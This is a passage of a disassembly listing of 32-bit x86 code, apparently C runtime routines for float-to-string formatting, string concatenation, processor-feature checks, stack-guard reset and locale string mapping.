		mov	eax, edi
		call	__SEH_epilog
		retn
sub_41B9BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAD0	proc near		; DATA XREF: .text:stru_42C0F0o
		mov	edi, [ebp-1Ch]
sub_41BAD0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BAD3	proc near		; CODE XREF: sub_41B9BA+109p
		push	1
		call	sub_41A0D2
		pop	ecx
		retn
sub_41BAD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BADC	proc near		; CODE XREF: sub_4189AC+459p
					; DATA XREF: sub_4171E5+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41795A
		cmp	eax, 65h
		jmp	short loc_41BAFB
; ---------------------------------------------------------------------------


loc_41BAEF:				; CODE XREF: sub_41BADC+20j
		inc	esi
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41E669
		test	eax, eax


loc_41BAFB:				; CODE XREF: sub_41BADC+11j
		pop	ecx
		jnz	short loc_41BAEF
		mov	al, [esi]
		mov	cl, byte_432C98
		mov	[esi], cl
		inc	esi


loc_41BB09:				; CODE XREF: sub_41BADC+38j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41BB09
		pop	esi
		retn
sub_41BADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB18	proc near		; CODE XREF: sub_4189AC+46Ap
					; DATA XREF: sub_4171E5+Ao ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	bl, byte_432C98
		jmp	short loc_41BB2A
; ---------------------------------------------------------------------------


loc_41BB25:				; CODE XREF: sub_41BB18+16j
		cmp	cl, bl
		jz	short loc_41BB30
		inc	eax


loc_41BB2A:				; CODE XREF: sub_41BB18+Bj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_41BB25


loc_41BB30:				; CODE XREF: sub_41BB18+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_41BB61
		jmp	short loc_41BB44
; ---------------------------------------------------------------------------


loc_41BB39:				; CODE XREF: sub_41BB18+30j
		cmp	cl, 65h
		jz	short loc_41BB4A
		cmp	cl, 45h
		jz	short loc_41BB4A
		inc	eax


loc_41BB44:				; CODE XREF: sub_41BB18+1Fj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_41BB39


loc_41BB4A:				; CODE XREF: sub_41BB18+24j
					; sub_41BB18+29j
		mov	edx, eax


loc_41BB4C:				; CODE XREF: sub_41BB18+38j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41BB4C
		cmp	[eax], bl
		jnz	short loc_41BB57
		dec	eax


loc_41BB57:				; CODE XREF: sub_41BB18+3Cj
					; sub_41BB18+47j
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_41BB57


loc_41BB61:				; CODE XREF: sub_41BB18+1Dj
		pop	ebx
		retn
sub_41BB18	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB63	proc near		; DATA XREF: sub_4171E5+28o
					; .text:off_432A38o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_42C100
		fnstsw	ax
		test	ah, 1
		jnz	short loc_41BB7A
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41BB7A:				; CODE XREF: sub_41BB63+11j
		xor	eax, eax
		retn
sub_41BB63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB7D	proc near		; CODE XREF: sub_419255+40Dp
					; DATA XREF: sub_4171E5+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41BBA6
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41FEE5
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBA6:				; CODE XREF: sub_41BB7D+Cj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41FF28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		leave
		retn
sub_41BB7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBBB	proc near		; CODE XREF: sub_41BBD8+23p
					; sub_41BCFA+45p ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_41BBD6
		push	esi
		call	sub_419D00
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41EFF0
		add	esp, 10h


loc_41BBD6:				; CODE XREF: sub_41BBBB+5j
		pop	esi
		retn
sub_41BBBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBD8	proc near		; CODE XREF: sub_41BC86+5Bp
					; sub_41BDFE+88p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		push	esi
		mov	esi, eax
		jz	short loc_41BC01
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	edi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_41BBBB
		pop	edi


loc_41BC01:				; CODE XREF: sub_41BBD8+Aj
		cmp	dword ptr [esi], 2Dh
		mov	eax, ebx
		jnz	short loc_41BC0E
		mov	byte ptr [ebx],	2Dh
		lea	eax, [ebx+1]


loc_41BC0E:				; CODE XREF: sub_41BBD8+2Ej
		cmp	[ebp+arg_0], 0
		jle	short loc_41BC25
		lea	ecx, [eax+1]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, ecx
		mov	cl, byte_432C98
		mov	[eax], cl


loc_41BC25:				; CODE XREF: sub_41BBD8+3Aj
		xor	ecx, ecx
		cmp	[ebp+arg_8], cl
		push	offset dword_42C108
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BF70
		cmp	[ebp+arg_4], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41BC4A
		mov	byte ptr [ecx],	45h


loc_41BC4A:				; CODE XREF: sub_41BBD8+6Dj
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41BC81
		mov	eax, [esi+4]
		dec	eax
		jns	short loc_41BC5E
		neg	eax
		mov	byte ptr [ecx],	2Dh


loc_41BC5E:				; CODE XREF: sub_41BBD8+7Fj
		inc	ecx
		cmp	eax, 64h
		jl	short loc_41BC6E
		cdq
		push	64h
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_41BC6E:				; CODE XREF: sub_41BBD8+8Aj
		inc	ecx
		cmp	eax, 0Ah
		jl	short loc_41BC7E
		cdq
		push	0Ah
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_41BC7E:				; CODE XREF: sub_41BBD8+9Aj
		add	[ecx+1], al


loc_41BC81:				; CODE XREF: sub_41BBD8+79j
		mov	eax, ebx
		pop	esi
		pop	ebp
		retn
sub_41BBD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC86	proc near		; CODE XREF: sub_41BE9E+47p

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_42009C
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [esi+1]
		push	eax
		xor	eax, eax
		cmp	[ebp+var_14], 2Dh
		mov	edx, ebx
		setz	al
		xor	ecx, ecx
		test	esi, esi
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41FF6B
		push	0
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	esi
		call	sub_41BBD8
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 28h
		pop	esi
		mov	eax, ebx
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_41BC86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BCFA	proc near		; CODE XREF: sub_41BD96+4Fp
					; sub_41BDFE+75p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi+4]
		dec	eax
		cmp	[ebp+arg_8], 0
		push	edi
		jz	short loc_41BD27
		cmp	eax, [ebp+arg_4]
		jnz	short loc_41BD27
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0


loc_41BD27:				; CODE XREF: sub_41BCFA+10j
					; sub_41BCFA+15j
		cmp	dword ptr [esi], 2Dh
		mov	ebx, [ebp+arg_0]
		jnz	short loc_41BD33
		mov	byte ptr [ebx],	2Dh
		inc	ebx


loc_41BD33:				; CODE XREF: sub_41BCFA+33j
		mov	eax, [esi+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_41BD4A
		mov	eax, ebx
		call	sub_41BBBB
		mov	byte ptr [ebx],	30h
		inc	ebx
		jmp	short loc_41BD4C
; ---------------------------------------------------------------------------


loc_41BD4A:				; CODE XREF: sub_41BCFA+41j
		add	ebx, eax


loc_41BD4C:				; CODE XREF: sub_41BCFA+4Ej
		cmp	[ebp+arg_4], 0
		jle	short loc_41BD8E
		mov	eax, ebx
		call	sub_41BBBB
		mov	al, byte_432C98
		mov	[ebx], al
		mov	esi, [esi+4]
		inc	ebx
		test	esi, esi
		jge	short loc_41BD8E
		neg	esi
		cmp	[ebp+arg_8], 0
		jnz	short loc_41BD75
		cmp	[ebp+arg_4], esi
		jl	short loc_41BD78


loc_41BD75:				; CODE XREF: sub_41BCFA+74j
		mov	[ebp+arg_4], esi


loc_41BD78:				; CODE XREF: sub_41BCFA+79j
		mov	edi, [ebp+arg_4]
		mov	eax, ebx
		call	sub_41BBBB
		push	edi
		push	30h
		push	ebx
		call	sub_41E880
		add	esp, 0Ch


loc_41BD8E:				; CODE XREF: sub_41BCFA+56j
					; sub_41BCFA+6Cj
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41BCFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD96	proc near		; CODE XREF: sub_41BE9E+1Ep

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_42009C
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_10]
		add	eax, esi
		push	eax
		xor	eax, eax
		cmp	[ebp+var_14], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_41FF6B
		push	0
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		call	sub_41BCFA
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+arg_4]
		add	esp, 28h
		pop	esi
		call	sub_41C526
		leave
		retn
sub_41BD96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDFE	proc near		; CODE XREF: sub_41BE9E+34p

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_42009C
		mov	esi, [ebp+var_10]
		mov	ebx, [ebp+arg_8]
		xor	eax, eax
		dec	esi
		cmp	[ebp+var_14], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		mov	edi, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edi
		call	sub_41FF6B
		mov	eax, [ebp+var_10]
		add	esp, 1Ch
		dec	eax
		cmp	esi, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_41BE7A
		cmp	eax, ebx
		jge	short loc_41BE7A
		test	cl, cl
		jz	short loc_41BE6A


loc_41BE60:				; CODE XREF: sub_41BDFE+67j
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_41BE60
		and	[edi-2], al


loc_41BE6A:				; CODE XREF: sub_41BDFE+60j
		push	1
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		call	sub_41BCFA
		jmp	short loc_41BE8B
; ---------------------------------------------------------------------------


loc_41BE7A:				; CODE XREF: sub_41BDFE+58j
					; sub_41BDFE+5Cj
		push	1
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	ebx
		mov	ebx, [ebp+arg_4]
		call	sub_41BBD8


loc_41BE8B:				; CODE XREF: sub_41BDFE+7Aj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_41BDFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE9E	proc near		; CODE XREF: sub_4189AC+43Ep
					; DATA XREF: sub_4171E5o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41BED9
		cmp	[ebp+arg_8], 45h
		jz	short loc_41BED9
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41BEC6
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BD96
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BEC6:				; CODE XREF: sub_41BE9E+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BDFE
		jmp	short loc_41BEEA
; ---------------------------------------------------------------------------


loc_41BED9:				; CODE XREF: sub_41BE9E+7j
					; sub_41BE9E+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BC86


loc_41BEEA:				; CODE XREF: sub_41BE9E+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41BE9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEEF	proc near		; CODE XREF: sub_41721D+Fp
		push	30000h
		push	10000h
		call	sub_420269
		pop	ecx
		pop	ecx
		retn
sub_41BEEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF01	proc near		; CODE XREF: sub_41BF41:loc_41BF65j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_42C120
		fstp	[ebp+var_8]
		fld	dbl_42C118
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_42C110
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_41BF3D
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BF3D:				; CODE XREF: sub_41BF01+35j
		xor	eax, eax
		leave
		retn
sub_41BF01	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF41	proc near		; CODE XREF: sub_41721D+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4220A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41BF65
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_422084	; GetProcAddress
		test	eax, eax
		jz	short loc_41BF65
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_41BF65:				; CODE XREF: sub_41BF41+Dj
					; sub_41BF41+1Dj
		jmp	sub_41BF01
sub_41BF41	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_417456+F5p
					; sub_41BBD8+60p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BFE5
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF80	proc near		; CODE XREF: sub_41D8F7+10Bp
					; sub_41D8F7+116p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BFA0


loc_41BF8D:				; CODE XREF: sub_41BF80+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_41BFD3
		test	ecx, 3
		jnz	short loc_41BF8D
		mov	edi, edi


loc_41BFA0:				; CODE XREF: sub_41BF80+Bj
					; sub_41BF80+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BFA0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BFE2
		test	ah, ah
		jz	short loc_41BFDD
		test	eax, 0FF0000h
		jz	short loc_41BFD8
		test	eax, 0FF000000h
		jz	short loc_41BFD3
		jmp	short loc_41BFA0
; ---------------------------------------------------------------------------


loc_41BFD3:				; CODE XREF: sub_41BF80+14j
					; sub_41BF80+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_41BFE5
; ---------------------------------------------------------------------------


loc_41BFD8:				; CODE XREF: sub_41BF80+48j
		lea	edi, [ecx-2]
		jmp	short loc_41BFE5
; ---------------------------------------------------------------------------


loc_41BFDD:				; CODE XREF: sub_41BF80+41j
		lea	edi, [ecx-3]
		jmp	short loc_41BFE5
; ---------------------------------------------------------------------------


loc_41BFE2:				; CODE XREF: sub_41BF80+3Dj
		lea	edi, [ecx-4]


loc_41BFE5:				; CODE XREF: sub_41BF70+5j
					; sub_41BF80+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C00E


loc_41BFF1:				; CODE XREF: sub_41BF80+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_41C060
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_41BFF1
		jmp	short loc_41C00E
; ---------------------------------------------------------------------------


loc_41C009:				; CODE XREF: sub_41BF80+A6j
					; sub_41BF80+C0j
		mov	[edi], edx
		add	edi, 4


loc_41C00E:				; CODE XREF: sub_41BF80+6Fj
					; sub_41BF80+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C009
		test	dl, dl
		jz	short loc_41C060
		test	dh, dh
		jz	short loc_41C057
		test	edx, 0FF0000h
		jz	short loc_41C04A
		test	edx, 0FF000000h
		jz	short loc_41C042
		jmp	short loc_41C009
; ---------------------------------------------------------------------------


loc_41C042:				; CODE XREF: sub_41BF80+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C04A:				; CODE XREF: sub_41BF80+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BF80+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C060:				; CODE XREF: sub_41BF80+78j
					; sub_41BF80+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BF80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C068	proc near		; CODE XREF: sub_417456+A5p
					; sub_419255+4DCp ...

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_416B20
		mov	ebx, esp
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_4221A0	; VirtualQuery
		test	eax, eax
		jz	short loc_41C0FD
		mov	edi, [ebp+var_20]
		lea	eax, [ebp+var_48]
		push	eax
		call	dword_422074	; GetSystemInfo
		mov	eax, [ebp+var_44]
		lea	esi, [eax-1]
		not	esi
		and	esi, ebx
		sub	esi, eax
		mov	[ebp+var_4], eax
		mov	eax, dword_481164
		mov	ecx, eax
		dec	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFF1000h
		add	ecx, 11000h
		add	ecx, edi
		cmp	esi, ecx
		jb	short loc_41C0FD
		cmp	eax, 1
		jz	short loc_41C115
		mov	ebx, edi
		mov	edi, 1000h


loc_41C0D2:				; CODE XREF: sub_41C068+81j
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_4221A0	; VirtualQuery
		test	eax, eax
		jz	short loc_41C0FD
		add	ebx, [ebp+var_18]
		test	[ebp+var_14], edi
		jz	short loc_41C0D2
		test	[ebp+var_F], 1
		mov	ebx, [ebp+var_24]
		jz	short loc_41C0F9
		xor	eax, eax
		inc	eax
		jmp	short loc_41C131
; ---------------------------------------------------------------------------


loc_41C0F9:				; CODE XREF: sub_41C068+8Aj
		cmp	esi, ebx
		jnb	short loc_41C101


loc_41C0FD:				; CODE XREF: sub_41C068+22j
					; sub_41C068+5Cj ...
		xor	eax, eax
		jmp	short loc_41C131
; ---------------------------------------------------------------------------


loc_41C101:				; CODE XREF: sub_41C068+93j
		push	4
		push	edi
		push	[ebp+var_4]
		push	ebx
		call	dword_422194	; VirtualAlloc
		mov	eax, dword_481164
		jmp	short loc_41C117
; ---------------------------------------------------------------------------


loc_41C115:				; CODE XREF: sub_41C068+61j
		mov	ebx, esi


loc_41C117:				; CODE XREF: sub_41C068+ABj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+var_8]
		push	ecx
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	ebx
		call	dword_42219C	; VirtualProtect


loc_41C131:				; CODE XREF: sub_41C068+8Fj
					; sub_41C068+97j
		lea	esp, [ebp-54h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C139	proc near		; CODE XREF: sub_417456+6Fp
					; sub_417456+E5p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	38h
		push	offset stru_42C158
		call	__SEH_prolog
		xor	ebx, ebx
		cmp	dword_48131C, ebx
		jnz	short loc_41C187
		push	ebx
		push	ebx
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_42C150
		push	100h
		push	ebx
		call	dword_4221A8	; LCMapStringW
		test	eax, eax
		jz	short loc_41C172
		mov	dword_48131C, esi
		jmp	short loc_41C187
; ---------------------------------------------------------------------------


loc_41C172:				; CODE XREF: sub_41C139+2Fj
		call	dword_422004	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41C187
		mov	dword_48131C, 2


loc_41C187:				; CODE XREF: sub_41C139+14j
					; sub_41C139+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_41C1A7
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_41C192:				; CODE XREF: sub_41C139+61j
		dec	ecx
		cmp	[eax], bl
		jz	short loc_41C19F
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_41C192
		or	ecx, 0FFFFFFFFh


loc_41C19F:				; CODE XREF: sub_41C139+5Cj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax


loc_41C1A7:				; CODE XREF: sub_41C139+51j
		mov	eax, dword_48131C
		cmp	eax, 2
		jz	loc_41C391
		cmp	eax, ebx
		jz	loc_41C391
		cmp	eax, 1
		jnz	loc_41C3C4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41C1DE
		mov	eax, dword_481488
		mov	[ebp+arg_18], eax


loc_41C1DE:				; CODE XREF: sub_41C139+9Bj
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	dword_4220D4	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, ebx
		jz	loc_41C3C4
		mov	[ebp+ms_exc.disabled], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41C24A
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_41C24A:				; CODE XREF: sub_41C139+F4j
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41C26B
		lea	eax, [esi+esi]
		push	eax
		call	sub_416DAF
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, ebx
		jz	loc_41C3C4
		mov	[ebp+var_20], 1


loc_41C26B:				; CODE XREF: sub_41C139+114j
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_4220D4	; MultiByteToWideChar
		test	eax, eax
		jz	loc_41C36E
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A8	; LCMapStringW
		mov	edi, eax
		mov	[ebp+var_1C], edi
		cmp	edi, ebx
		jz	loc_41C36E
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41C2DA
		cmp	[ebp+arg_14], ebx
		jz	loc_41C36E
		cmp	edi, [ebp+arg_14]
		jg	loc_41C36E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A8	; LCMapStringW
		jmp	loc_41C36E
; ---------------------------------------------------------------------------


